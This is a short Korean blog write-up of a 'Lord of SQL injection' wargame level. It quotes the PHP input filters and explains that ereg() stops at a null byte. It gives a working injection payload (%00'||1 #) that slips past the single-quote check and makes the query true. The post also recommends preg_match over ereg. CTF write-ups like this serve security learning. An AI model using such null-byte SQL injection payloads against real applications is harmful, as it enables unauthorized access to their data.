소스코드 분석
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(@ereg("'",$_GET[id])) exit("HeHe");
if(@ereg("'",$_GET[pw])) exit("HeHe");
싱글쿼터를 우회만 하면되는데 그렇다할 방법을 못찾았다.
그래서 ereg 함수의 취약점을 이용하자. ereg의 취약점은 Null값을 주면 필터링이 정상적으로 되지 않는다.
(PHP 5.3 이상) ereg 대신 preg_match함수 사용을 권장
그리고 id 값을 참으로만 만들면 문제가 풀린다.
?id=%00%27||1%20%23
id=%00'||1 %23
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] nightmare (0) | 2017.05.28 |
---|---|
[Lord of SQL injection] succubus (0) | 2017.05.28 |
[Lord of SQL injection] assassin (0) | 2017.05.28 |
[Lord of SQL injection] giant (0) | 2017.05.28 |
[Lord of SQL injection] bugbear (0) | 2017.05.28 |